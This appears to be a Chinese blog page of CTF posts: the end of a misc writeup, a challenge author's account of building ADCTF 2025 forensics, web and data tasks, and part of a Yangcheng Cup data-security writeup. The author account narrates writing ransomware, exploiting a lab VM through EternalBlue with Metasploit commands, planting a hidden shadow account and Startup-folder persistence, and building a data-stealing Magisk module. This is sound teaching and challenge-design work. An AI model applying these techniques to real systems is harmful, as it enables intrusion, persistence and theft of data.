= "blue/blue/extracted_nibbles_skip1_off0.bin" def extract_high_nibbles_and_combine(raw: bytes) -> bytes: nibbles = [(b >> 4) & 0xF for b in raw] out = bytearray() for i in range(0, len(nibbles) - 1, 2): out.append((nibbles[i] << 4) | nibbles[i+1]) return bytes(out) def main(): with open(RAW_PATH, "rb") as f: raw_data = f.read() extracted = extract_high_nibbles_and_combine(raw_data) with open(OUT_PATH, "wb") as out_f: out_f.write(extracted) print(f"Wrote {OUT_PATH} ({len(extracted)} bytes)") if __name__ == '__main__': main() 隔位提取出来一个压缩包,带加密 ZipCrypto Store,怎么又是 bkcrack,用 png 文件头爆一下 1 2 3 4 5 6 7 8 9 10 11 12 13 $ echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header $ bkcrack -C extracted_nibbles_skip1_off0.zip -c xor.png -p png_header -o 0 bkcrack 1.8.1 - 2025-10-25 [13:01:17] Z reduction using 9 bytes of known plaintext 100.0 % (9 / 9) [13:01:17] Attack on 707085 Z values at index 6 Keys: 68cc45ab 864060ce ac958caa 29.2 % (206267 / 707085) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 206267 [13:03:45] Keys 68cc45ab 864060ce ac958caa $ bkcrack -C .\extracted_nibbles_skip1_off0.zip -k 68cc45ab 864060ce ac958caa -U output.zip "Volcania" 图片丢进 010 发现最后的 IEND 块后还有东西 80504e47 开头,应该是个图,弄出来 不明所以的图,但是题目上一张图片的名字是 xor,应该是要跟什么异或一下,但这张图不是灰度图(即RGB相等),所以丢进 PS 看看,发现只有蓝色通道有东西 尝试提取蓝色通道的数据,但没啥用;试着用这张图跟 xor.png 进行 xor 也没啥用,不懂 尝试一下只跟蓝色通道 XOR 看看,让 AI 写个 script,结果还是不对,没招了 超越感官极致 来都来了,先致敬沙鹰三枪背身 发现注释,可能有用 binwalk一下,毕竟文件那么大 那我还说啥了,提取一下呗 嗯?不行,那就 foremost 一下 发现出来一个压缩包,里面还有一张图 ?.png 不是?又是杂色图?但是这个大小跟分辨率不符,IDAT 的数据非常多,甚至去到了 482 chunks 让 AI 写个脚本弄一下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import zlib import struct filename = "?.png" # 你的文件名 with open(filename, 'rb') as f: data = f.read() # 1. 提取所有 IDAT 数据块 # PNG 结构: Length(4) + ChunkType(4) + Data(Length) + CRC(4) # 我们需要跳过 header,遍历 chunks pos = 8 # Skip PNG signature idat_data = b'' while pos < len(data): length = struct.unpack('>I', data[pos:pos+4])[0] chunk_type = data[pos+4:pos+8] if chunk_type == b'IDAT': idat_data += data[pos+8 : pos+8+length] if chunk_type == b'IEND': break pos += 12 + length print(f"IDAT 压缩数据大小: {len(idat_data)} bytes") # 2. 解压数据 try: decompressed_data = zlib.decompress(idat_data) total_len = len(decompressed_data) print(f"解压后真实数据大小: {total_len} bytes") except Exception as e: print(f"解压失败: {e}") exit() # 3. 爆破宽高 # 你的截图显示 offset 0x19 处是 08 02 -> BitDepth=8, ColorType=2 (RGB) # 所以 BytesPerPixel = 3 bytes_per_pixel = 3 print("正在根据数据大小反推宽高...") found = False # 假设宽度在 1 到 10000 之间 for w in range(1, 10000): # 公式: Total = H * (W * 3 + 1) # 所以: H = Total / (W * 3 + 1) line_bytes = w * bytes_per_pixel + 1 if total_len % line_bytes == 0: h = total_len // line_bytes # 过滤掉显然不合理的比例(比如 1x10000000) if h < 100000 and w * h > 1000000: # 假设像素总数应该比较大 print(f"[!] 可能的宽高: 宽度={w}, 高度={h}") found = True # 自动修复文件头 print(f"正在尝试修复为 {w}x{h} ...") with open(filename, 'rb') as f_src: content = bytearray(f_src.read()) # 修改 IHDR 中的宽高 (Offset 16-24) # 010 Editor 截图显示 IHDR 从 offset 0x0C 开始 (Length) # 实际宽高数据在 offset 0x10 (16) 开始 struct.pack_into('>I', content, 16, w) struct.pack_into('>I', content, 20, h) # 不需要修正 CRC,因为我们要用看图软件打开, # 大部分看图软件会忽略 CRC 错误,或者我们稍后手动修。 # 如果 PS 打不开,就用 Chrome/Edge 浏览器打开修复后的图片。 out_name = f"fixed_{w}_{h}.png" with open(out_name, 'wb') as f_out: f_out.write(content) print(f"已保存: {out_name}") if not found: print("未找到合适的宽高组合,请检查是否是 RGBA (4通道) 或其他格式。") 发现三种组合,但是没啥用,看不出东西 1 2 3 4 5 6 7 $ uv run .\preview.py [+] 正在读取 ?.png ... [+] 解压成功!数据总大小: 31457280 字节 [+] 找到 3 个可能的组合,准备绘制预览... 方案 1: 1365x7680 (RGB) 方案 2: 3413x3072 (RGB) 方案 3: 5461x1920 (RGB) PunkFace 这题的 word 直接把我电脑卡死了,我还导入了飞书来着,结果飞书在线也卡死了 解压 docx 文档,发现 document.xml 非常大,有很多颜色相关的内容 队友弄了个脚本来提取颜色 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import itertools import re from PIL import Image path = "document.xml" pixels = [] with open(path, "r") as fp: for line in fp: pixels.extend(re.findall(r'<w:r><w:rPr><w:color w:val="([0-9A-F]+)"\/><\/w:rPr><w:t xml:space="preserve"> <\/w:t><\/w:r>', line)) width, height = 1024, 1024 assert height * width == len(pixels) with Image.new("RGB", (width, height)) as im: for pixel, (y, x) in zip(pixels, itertools.product(range(height), range(width))): rgb = int(pixel, 16) color = ((rgb >> 16), ((rgb >> 8) & 0xFF), (rgb & 0xFF)) im.putpixel((x, y), color) im.show() 怎么还是这种图??!我对这种图真没招 =-= 队友发现了4通道有东西(这谁想得到woc) 得到一个图 改下颜色,得到 1 4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 20 69 73 20 61 6e 20 75 6d 62 72 65 6c 6c 61 20 74 65 72 6d 20 74 6f 20 64 65 73 63 72 69 62 65 20 73 65 63 75 72 69 74 79 20 63 6f 6e 74 72 6f 6c 73 2c 20 70 6f 6c 69 63 69 65 73 2c 20 70 72 6f 63 65 73 73 65 73 20 61 6e 64 20 70 72 61 63 74 69 63 65 73 20 61 64 6f 70 74 65 64 20 74 6f 20 70 72 65 76 65 6e 74 2c 20 64 65 74 65 63 74 20 61 6e 64 20 6d 6f 6e 69 74 6f 72 20 75 6e 61 75 74 68 6f 72 69 7a 65 64 20 61 63 63 65 73 73 2c 20 6d 69 73 75 73 65 2c 20 6d 6f 64 69 66 69 63 61 74 69 6f 6e 2c 20 6f 72 20 64 65 6e 69 61 6c 20 6f 66 20 61 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 61 6e 64 20 6e 65 74 77 6f 72 6b 2d 61 63 63 65 73 73 69 62 6c 65 20 72 65 73 6f 75 72 63 65 73 2e 4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 20 69 6e 76 6f 6c 76 65 73 20 74 68 65 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 6f 66 20 61 63 63 65 73 73 20 74 6f 20 64 61 74 61 20 69 6e 20 61 20 6e 65 74 77 6f 72 6b 20 76 65 72 61 63 72 79 70 74 2c 20 77 68 69 63 68 20 69 73 20 63 6f 6e 74 72 6f 6c 6c 65 64 20 62 79 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 61 20 69 73 20 36 3f 2c 20 62 20 69 73 20 3f 37 2c 20 73 20 69 73 20 3f 2c 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 20 55 73 65 72 73 20 63 68 6f 6f 73 65 20 6f 72 20 61 72 65 20 61 73 73 69 67 6e 65 64 Network security is an umbrella term to describe security controls, policies, processes and practices adopted to prevent, detect and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.Network security involves the authorization of access to data in a network veracrypt, which is controlled by the network a is 6?, b is ?7, s is ?, administrator. Users choose or are assigned 不懂 =-= Hidden 给了一个 Bmp 文件,Slienteye 出不来东西,应该不是隐写,binwalk 和 foremost 出不来有用的东西,跑路

2025/12/13
articleCard.readMore

ADCTF 2025 个人出题记录

ADCTF2025 所有题目源码及选手 Writeup:https://github.com/GDUT-ADSec/ADCTF2025 ADCTF2025 所有本人出的题目源码:https://github.com/GDUTMeow-Challenges/ADCTF2025-Challenges Forensic Dangerous Worm 题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-Dangerous-Worm 出这道内存取证主要是在羊城杯里面做到了一题你也是旮旯给木大师?,那个题目是病毒分析+内存取证,给了我启发,于是我也决定出这么一题来玩玩。 编写病毒 首先是怎么编写病毒,我的本身就是用 AES-CBC 只加密部分文件,然后再把密钥保存到电脑里头,向量用程序自身的 于是就简单的写了一个加密用户桌面等文件夹的一个病毒程序(源码在仓库里可以去看),顺带加了个防呆设计(避免我自己运行了病毒) 1 2 3 4 5 6 def main(): # 安全起见,获取计算机名称 PC_NAME = os.getenv("COMPUTERNAME", "UnknownPC") if PC_NAME.startswith("LUMINE"): return ... 构建靶机(Win7,失败) 因为永恒之蓝(MS-17-010/CVE-2017-0144)在当时太有名了,并且在利用上也有很多成型的方案,于是我打算打一个永恒之蓝 在最开始,我使用的是 Windows 7 x64 Professional SP1,我先把我的病毒打包好,然后尝试直接打永恒之蓝,并把病毒放上去直接运行,结果不出意外的就出意外了 当我在 shell 里面直接运行我的病毒,我的 shell 直接就没了,变成了 More? meterpreter >,并且也没有实际效果 我最开始还想着是身份问题,因为永恒之蓝打上去以后是 nt authority\system,所以此时不是我自己创立的 Luminoria 账户,可能会导致我的 %APPDATA 无法展开和 %USERNAME 获取错误,于是我直接改了一个获取用户名的方案 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import os def get_all_user_profiles(): users_path = os.path.join(os.getenv("SystemDrive", "C:"), r"\Users") excluded_users = {'Default', 'Default User', 'Public', 'All Users', 'WsiAccount'} user_list = [] if not os.path.exists(users_path): return [] for user_name in os.listdir(users_path): user_profile_path = os.path.join(users_path, user_name) if os.path.isdir(user_profile_path) and \ user_name not in excluded_users and \ os.path.exists(os.path.join(user_profile_path, "Desktop")): user_list.append(user_name) return user_list 通过这个方式直接获取系统内的用户,并对每个用户的文件进行加密 完成了以后还是不行,而且一点日志都没有,我排不出错误,于是我决定在靶机里面手动运行 结果不运行还好,一运行就是一个大坑 这分明就是运行库的问题呀!!! 然后我就在想能不能 Win7 编译 Win7 跑,于是我用快照回退到有 VMTools 的那个版本,装了一个 Python 并编译,然后再拿过来,结果还是报一样的错误 看来没有必要的安全补丁的话,都没有对应的环境,只好作罢,换系统 构建靶机(Win10,成功) 我突然想到,当时永恒之蓝出来的时候,Win10也没能幸免,说明那个时候的 Windows 10 是有这个问题的 于是我就去找 17 年左右或以前的 Windows,最后找了一个 Windows 10 1511(16年4月) 刚开始装的时候,VMWare 告诉我可以建议安装,我还说这么好,省事了,结果是给自己找麻烦了 VMWare 在建议安装的时候会带上 VMTools 的安装,在这个时候就会打上必要的补丁了,搞得我一直打不通,没办法,手动装吧 于是就见到了早期 Windows 10 还没有大型 OOBE 的时候的 UI 装好了以后,尝试跑一个永恒之蓝,发现打不通 搜了一下别人的经验,要调本地组策略 https://blog.zgsec.cn/archives/172.html 于是在 gpedit.msc 里面,把 可匿名访问的网络共享 调成 \,然后把 可匿名访问的命名管道 设置成 1 2 3 4 5 6 COMNAP COMNODE SQL\QUERY SPOOLSS NETLOGON LSARPC 然后保存,发现可以连上了,但是在 kali 里面一跑 run 就蓝屏,错误的模块是 srvnet.sys,搜了一下告诉我是 payload 选错了,要选 exploit/windows/smb/ms17_010_psexec 1 msf exploit > use exploit/windows/smb/ms17_010_psexec 然后重新设置一下 RHOSTS 1 msf exploit > set RHOSTS 192.168.237.151 然后 run,就成功得到后门连接了 进行渗透 首先我把两个文件传了上去,一个是前阵子在 Github 发现的影子账户创建工具 https://github.com/wgpsec/CreateHiddenAccount 还有一个是我自己做的马,我先用这个工具创建了一个影子账户 这样就完成了第二题的出题,答案应该为 PaffCream$ 然后我就把这个 a.exe 删掉了,不留痕迹,然后跑我的马 因为还是发现直接在 shell 里面执行不了我的马,所以我把马传到了用户的 shell:startup 里面去 1 meterpreter > upload 安全中心.exe "C:/Users/Luminoria/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup" 这样就可以实现用户重启系统/重新登录以后触发,然后去 shell 里面直接触发一次重启 1 $ shutdown -r -t 0 重启并自动登录后,机子就弹出了黑框框了,然后直接就把东西给加密了 获得内存 我没用 Dumpit.exe,不知道为啥 Dump 出来的有问题,所以本文先不管这个方法 因为我运行在 VMware 里面,所以直接用 VM 的工具就行了 在安装目录有一个 vmss2core.exe,可以转储内存为 dmp 文件(需要管理员权限运行) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ .\vmss2core.exe -W8 Vuln10-12a24566.vmss Vuln10-12a24566.vmem vmss2core version 24583834 Copyright (C) 1998-2025 Broadcom. All Rights Reserved. scanning pa=0 len=0x10000000 ... 100 MBs written. ... 200 MBs written. ... 300 MBs written. ... 400 MBs written. ... 500 MBs written. ... 600 MBs written. ... 700 MBs written. ... 800 MBs written. ... 900 MBs written. ... 1000 MBs written. ... 1100 MBs written. ... 1200 MBs written. ... 1300 MBs written. ... 1400 MBs written. ... 1500 MBs written. ... 1600 MBs written. ... 1700 MBs written. ... 1800 MBs written. ... 1900 MBs written. ... 2000 MBs written. Finished writing core. 然后就能在当前目录得到 memory.dmp 文件,就是内存转储了 Gering Ding Ding Ding 题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-Gering-ding-ding-ding 出这个题目最初的想法来源是本来想出 Web3 的题目的,奈何自己确实对 Web3 不熟悉,而我想的取证三个方向(流量、硬盘、内存)中,硬盘取证缺少那么点点子 所以在做了一点研究以后,发现 Firefox + MetaMask 的取证是可行的,所以就出了这个题目 对 LocalStorage 的提取 最开始其实我是用的 Edge,因为那天早上我在上数据结构的实验课,我在我的黑苹果上用 Edge 试了一下,当时是感觉可行,所以最开始是用了 Edge 出的 但是我在网上找到的 Chrome 那个方法(Edge 用的也是 Chrome 内核),Edge 出来的插件的 ldb 里面不像文章所说的有 KeyringController 关键词,后面用 Chrome 也有一样的问题,所以只能放弃 Chrome 内核的浏览器,用 firefox 那篇文章的那个方法 数据处理与密码爆破 用了 Firefox 以后,提取数据其实不是什么问题,问题出现在了我爆破这一节 在文章 当大狐狸遇上小狐狸——Win11火狐Metamask取证小记 | 9C±Void’s Blog 中提到,hashcat 的 26600 不能爆破出来,要用 26620 或者是后面那个 26650,我先用的 26620,发现会爆格式不正确的问题,但是我也没细看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ hashcat -a 0 -m 26620 metamask_hash.txt rockyou.txt hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 1438/2940 MB (512 MB allocatable), 2MCU /usr/share/hashcat/OpenCL/m26620-optimized.cl: Pure kernel not found, falling back to optimized kernel Minimum password length supported by kernel: 8 Maximum password length supported by kernel: 256 Hashfile 'metamask_hash.txt' on line 1 ($metam...c1rEt6HNYKWONDDqOreSDKEp88oKzyQ=): Token encoding exception No hashes loaded. Started: Thu Oct 16 22:39:59 2025 Stopped: Thu Oct 16 22:39:59 2025 我就去找 26650,我都翻遍了整个互联网(包括 web archive),都没有找到备份,那没办法了,只好继续看看怎么用 26620 了 后面我看到了文章里面这句标黄的字 再看看我的 hash,发现有 rounds=,删掉了以后就能够用 26620 爆破了 再往后都是常规操作了,SRP 得到钱包再得到密钥,此处就不再赘述了 原神,启动! 题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-Its-Genshin-Time 出这个题的背景主要是,我在当时刷到了一条关于 Magisk 模块安全性的新闻(?) src: https://t.me/zaihuapd/36418 虽然说这篇帖子的这个贴主明显就是缺少经验了,但是安装来路不明的 Magisk 模块确实是很危险的一件事情,所以我就想以这个背景来出一个题目 至于为什么会选择原,是因为之前看到过一个比较搞事的模块,叫「自动下载原神」,会在每次开机的时候检测手机里是不是存在原神,如果没有的话就会自动下载安装 然后我就去稍微写了一个 Magisk 模块 Magisk 模块 我的想法是这样的,毕竟原本体还是太大了,所以我选择下的是云原神 在设备开机的时候先进行一次检测,如果不存在则下载,并发送通过云控服务器获取配置,“窃取”一定的设备标识及数据并发送到远程服务器,随后进入 loop,持续检测,只要云原被删除了就重复整个过程 而具体的操作,是通过云控脚本进行的,于是简单做了一个服务器,并放了一个云控脚本 而我在 Magisk 模块的 system.prop 里面,写了名为 challenge.secret.info 的键值对,这样在 Magisk 模块安装的时候,这个键值对就会被加入到 system.prop 里面去 然后在按照 Magisk 模块的标准稍微打包一下,就完成了 抓包 我在模拟器里面装了 termux 来用 tcpdump,直接去这里下一个 tcpdump tcpdump Binary Downloads (32 Bit) | Android tcpdump 然后传入模拟器运行,结果需要 root 权限,那没办法,给了,给了以后,在 tcpdump 启动的情况下不断对着自动安装的云原点卸载就好了,期间还访问了一下网易 mumu 的游戏中心,掺杂一些干扰数据,就完成了 Misc BaseGDUT BaseHajimi 题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-BaseGDUT https://github.com/GDUTMeow-Challenges/Challenge-BaseHajimi 出这题主要是刚开学那会有人想学CTF,私信问我 Base64 是什么 然后我想,Base 本身是存在编码表的,而且我们平时也存在换表这一操作 所以说,我直接出个自定义编码表 Base8,来考考选手对 Base 系列的基本理解 然后就跟 ?CTF 撞点子了 =-= 在选编码表的时候,我想着既然是校内赛,就选一个跟学校相关的编码表,最后敲定的是 GDUTgdut 这八个字符,使用 = 填充 反正爆来爆去也就 8! 种情况,很快就出来了,其他也没啥好讲的了 补充 是的,本来是上面的都是这题的设想的,但是某一天,Unknown 在群里面提了个建议,改成 Hajimi,于是我就改成用 哈基米哦南北绿豆 几个字符换掉了原来我的 GDUTgdut 八个字符,变成了 BaseHajimi Click the Circles 题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-Click-the-Circles 出这题的原因主要是我个人在玩 Osu! 想着能用 Osu! 做些什么题目,本来想把题目放进铺面(指 note)里面的,但是后来想想还是算了,又不是所有人都会玩音游 然后就去翻了一下 Osu! 的铺面文档,发现了放在书签位置的话,就可以在不影响铺面正常元数据和铺面游玩的情况下放信息 然后我又想到了 moeCTF 2024 的海报题,那个题目把摩斯电码放到了海报里面,所以我也学着用摩斯电码隐藏信息 而摩斯电码是部分大小写的,这点在 ADCTF 2024 吃过亏,所以我限定了字母要小写 然后花了点时间找了个合适的谱子,把时间序列往上面一放就搞定了 知识问答 本来没打算出这种题目的,但是之前跟网络中心开会的时候他们的意思是还是想要有科普题,然后我就去找了个最近的题库 题库来源于中国社会科学院大学网络中心:https://nc.ucass.edu.cn/info/1160/1594.htm 然后随便撸了一个前端,就这样了 Web Worthit 题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-WorthIt 题目设计 这个题目其实最开始是我的个人项目,当时心血来潮写了一个这个程序,然后我在最开始在前端 js 采用的是拼接字符串的方式(没错这很危险) 因为我想的是,这东西是你个人使用的,然后我又加了 httponly 的 Cookie 标识,所以其实 XSS 并没有什么可以利用的 但是当时让 Rusty 测都测了,还是给修了吧,然后我顺带拿这个来出题好了 从源码改到题目 就像我上面说的,我其实加了 httponly 的标识,所以我先给它删了;又考虑到我们的靶机出来都不会上 https,所以我又把 secure 删了 然后我稍微添了点乱,禁用了 script 关键词,但是聪明的你一定能想到其他的关键词吧 Y2K Bank 题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-Y2K-Bank 题目设想 这题其实最开始的设想不是这样的,我一开始没有打算把它出成与银行存款、千年虫等各种元素相关的题目 我最开始的设想是,在购物平台购物的时候,购物车里经常会让我们选择购买数量,这个时候如果我输入成负数,就可以让购物平台倒欠我的钱,给我米,然后攒够钱来买 flag,是这样设想的 但是吧,在出上面那个 Dangerous Worm 的时候,找那个 2114 年 5 月 14 日的星期的时候,Windows 这里直接就不显示农历了 然后我就想起来了有 Y2K 这个东西,就想基于这个东西出题,而当时受 Y2K 威胁最大的其实是各种金融机构,所以我就一改,把这个背景改成了银行 构建后端 后端这一块,因为最近已经从 flask 转到 FastAPI 上面了,所以我很自然的就用了 FastAPI 来弄后端 在实现 Y2K 的时候,我在想要怎么实现 Y2K 的这个效果,因为本身 Y2K 的出现就是因为计算机采用两位数字存储年份(前面默认为 19,拼接得到 19xx),然后就采用了输入数字与 100 取模的方式,得到尾巴两位,然后与 19 拼接,就得到了千年虫的效果 那么问题就是,要怎么让日期变得可以更改,最后我决定让前端传入日期(这显然是不合规的,也不应该出现在任何一个银行系统中,但是 CTF 题目嘛,倒也无所谓?),这样用户就可以通过 Yakit 或者 Burpsuite 拦截以后直接修改,或者用 Hackbar 直接发啥的 构建前端 我个人的设想就是用银行的 ATM 界面,所以直接把需求给 v0 让它帮我写了,没啥好说的,然后因为绿色的我觉得看久了还是眼睛挺痛的,于是又加了一个 modern 版本的开关,可以切换(你发现了吗) Crossy Road 这个倒没啥技术含量,只是之前抓很多网站的请求的时候,DevTool 会被 ban 或者是会被无限 debugger,所以就弄个这个题目 DS DSFileChecker 这是一个平台(并非题目),因为前阵子打羊城杯和去年打羊城杯,数据安全这里都有一个东西叫做 DAS File Checker 来做校验(安恒的平台),而去年的网安卫士,我们是没做这个的,是让选手直接把结果拿去算 md5 得到结果,这样就导致了选手其实不知道自己对了多少错了多少,并且要求 100% 正确才能得到 flag(而 DAS File Checker 允许通过某一个正确率,例如 95%,即可获取 flag),所以我就打算做那么个平台 https://github.com/GamerNoTitle/DSFileChecker 基本上,正确率的计算基于以下原则 将标准答案的数据读取进入内存,并生成唯一标识 统计行数,从行数上先查看是否有多余 计算正确行数,对于每一条数据,取出现位置较小的那个行,并比对数据 如果有多余数据,会导致分母变大 最终计算方法为 Accuracy = CorrentLines / (AnswerLines + AdditionalLines) 所以这样计算的话,就会让冗余数据稀释正确率,达到了我的目的 随后就是对各种变量的设置,我设置了各种 flag 和 accuracy 变量,accuracy 变量是作为正确率阈值的,当选手的正确率达到了这个规定的阈值,才给出 flag 然后还做了对各种平台的 flag 注入的适配(这些 flag 变量是从探姬的 https://github.com/CTF-Archives/ctf-docker-template 里面发现的) 1 2 3 4 5 6 7 8 9 # Flag will be read from env FLAG = os.getenv("FLAG", "flag{INVALID_FLAG_CONTACT_ADMIN}") if FLAG == "flag{INVALID_FLAG_CONTACT_ADMIN}": # fallback 到 gzctf 平台 FLAG = os.getenv("GZCTF_FLAG", "flag{INVALID_FLAG_CONTACT_ADMIN}") if FLAG == "flag{INVALID_FLAG_CONTACT_ADMIN}": # fallback 到 dasctf 平台 FLAG = os.getenv("DASCTF_FLAG", "flag{INVALID_FLAG_CONTACT_ADMIN}") if FLAG == "flag{INVALID_FLAG_CONTACT_ADMIN}": # fallback 到 attackr 平台 FLAG = os.getenv("ATTACKR_FLAG", "flag{INVALID_FLAG_CONTACT_ADMIN}") 采用了逐级 fallback 的方式来获取 flag,但是后面问了 AI,说其实可以写的更好看,于是改成了 1 2 3 4 5 6 7 8 9 # Flag will be read from env flag_env_vars = ["FLAG", "GZCTF_FLAG", "DASCTF_FLAG", "ATTACKR_FLAG"] for var in flag_env_vars: flag = os.getenv(var) # Stop at the first found flag if flag and not flag == "flag{INVALID_FLAG_CONTACT_ADMIN}": break # If no flag found in env, use default invalid flag FLAG = flag or "flag{INVALID_FLAG_CONTACT_ADMIN}" 找回订单 出这个题目纯属是因为当时在羊城杯看到 DS4 那个题目太宝宝巴士了,刚好需要一些宝宝巴士的题目就拿过来了 把数据拿过来的时候我顺带就进行了一些修改和要求的增加,避免有人搜到原题直接一把梭,大致如下 邮箱里面的 meishu-tech.com -> adctf.org 产品里面的 美枢科技 -> ADLab 增加了还原用户名的要求 增加了还原产品名的要求 所以如果对 sql 语句熟悉的话,可以直接把东西拿出来以后写一个脚本一把梭,实在是没什么难度 Plain HTTP Data 这个题目也是想的出的宝宝巴士一点,所以就出了这个直接 http 明文传输可直接提取处理的题目 最开始,我的数据量其实在 10W 的级别,但是我在用我自己的 Wireshark 提取的时候,想着肯定有人用左上角文件导出对象来保存的,不试不要紧,一试就发现在这个过程中,数据量太大了,Wireshark 容易直接罢工 那没办法,宝宝巴士还得是宝宝巴士,所以就减小数据量到 1k 了,然后我还把一些干扰数据给剔除了,才保存的附件,应该……能做出来吧…… 群 Bot 编写 因为之前都有群播报 bot,并且 ?CTF 的播报 bot 是正常使用的,所以我就想着弄一个 Bot,可以播报前三血和公告啥的内容 问了一圈,发现说 napcat 好用且稳定,然后我先去弄了一个 napcat,并登录了我的小号 然后抓了一下 A1CTF 平台的 API,并做了一个简单的小玩具 A1CTF-Journalist: https://github.com/GamerNoTitle/A1CTF-Journalist 反正主打一个能用就行,就跑上了 倒计时海报 用 canvas 做的,凑合看看吧 统计数据

2025/12/1
articleCard.readMore

2025 羊城杯决赛个人做题思路 Writeup

本次羊城杯比赛主要分为了三个部分:综合渗透、应急响应、数据安全,而在比赛中我主要负责的是应急响应和数据安全部分 综合渗透和应急响应是有交叉的,所以我会丢在一起讲 数据安全 本次我做的是数据安全的第二到第四题,第一题用 AI 梭了,但是有问题,后面队友补充了,我这里讲一下后面三道题目吧 交完最后一个 DS4 也是美美暂时做到了第一的宝座 DS2 本题考点为数据脱敏,选手需要通过 SSH(端口10222)连接环境,修改现有 PHP 接口代码(api.php),使其在读取数据库表单中包含敏感信息时,自动进行脱敏输出。完成后访问 Check 服务进行检测,Check 通过即可获得 FLAG。 接口文件:api.php 判定标准: 返回数据中,敏感数字字段进行脱敏格式处理,并且不能修改原数据。 其余字段(uuid, username, email, gender, age 等)与数据库一致。 给了 api.php,实际上重点在下面查询数据库并输出的地方 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 try { // 使用 mysqli 连接 $mysqli = mysqli_init(); // 连接超时与重连配置(可选) mysqli_options($mysqli, MYSQLI_OPT_CONNECT_TIMEOUT, 5); if (!@mysqli_real_connect($mysqli, $dbHost, $dbUser, $dbPass, $dbName, 3306)) { throw new Exception('db_connect_failed: ' . mysqli_connect_error()); } if (!@$mysqli->set_charset('utf8mb4')) { // 字符集设置失败不致命,但记录 } $uuid = isset($_GET['uuid']) ? trim($_GET['uuid']) : null; $username = isset($_GET['username']) ? trim($_GET['username']) : null; $id = isset($_GET['id']) ? intval($_GET['id']) : null; if ($id !== null && $id > 0) { $sql = 'SELECT uuid, username, phone, gender, age, email FROM users WHERE id = ? LIMIT 1'; if ($stmt = $mysqli->prepare($sql)) { $stmt->bind_param('i', $id); $stmt->execute(); $res = $stmt->get_result(); $rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : []; $stmt->close(); } else { throw new Exception('db_prepare_failed'); } } elseif ($uuid !== null && $uuid !== '') { $sql = 'SELECT uuid, username, phone, gender, age, email FROM users WHERE uuid = ? LIMIT 1'; if ($stmt = $mysqli->prepare($sql)) { $stmt->bind_param('s', $uuid); $stmt->execute(); $res = $stmt->get_result(); $rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : []; $stmt->close(); } else { throw new Exception('db_prepare_failed'); } } elseif ($username !== null && $username !== '') { $sql = 'SELECT uuid, username, phone, gender, age, email FROM users WHERE username = ? LIMIT 100'; if ($stmt = $mysqli->prepare($sql)) { $stmt->bind_param('s', $username); $stmt->execute(); $res = $stmt->get_result(); $rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : []; $stmt->close(); } else { throw new Exception('db_prepare_failed'); } } else { $sql = 'SELECT uuid, username, phone, gender, age, email FROM users ORDER BY username ASC LIMIT 100'; $res = $mysqli->query($sql); $rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : []; if ($res) { $res->free(); } } $result['success'] = true; $result['data'] = $rows; $mysqli->close(); } catch (Throwable $e) { http_response_code(500); $result['error'] = $e->getMessage(); } 可以看到这里查询了 phone 这个敏感字段,但是没有进行任何处理,所以处理一下就好了,添加这几行 1 2 3 4 5 6 7 8 foreach ($rows as &$row) { if (isset($row['phone'])) { $phone = trim($row['phone']); $row['phone'] = substr($phone, 0, 3) . '*****' . substr($phone, 8); } } 然后就过了 DS3 本题考点为数据清洗,数据库存在一个表,字段:性别、身份证等信息, 现在性别存在部分存在异常,请你根据身份证算法,对性别进行核对,修复所有异常。 数据清洗完毕后访问 Check 服务进行检测,Check 通过即可获得 FLAG。 简单的很,我甚至不用打开 Python(其实是 Python 环境没装 sql 连接器) 直接用 navicat 连接一下,然后运行下面的 sql 语句就行 1 2 3 4 5 6 7 8 START TRANSACTION; UPDATE user_info SET gender = CASE WHEN CAST(SUBSTRING(id_card, 17, 1) AS UNSIGNED) % 2 = 0 THEN 'female' ELSE 'male' END; COMMIT; DS4 题目描述没有记下来,反正大致就是订单丢失了,然后要根据已有的日志进行恢复 直接去 dump 下来的 query.log 里面搜索 INSERT INTO orders 就行,本来我以为会一条一条插入的,结果是一次性插入了全部数据 那还说啥了,直接复制粘贴加回车的事情嘛 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 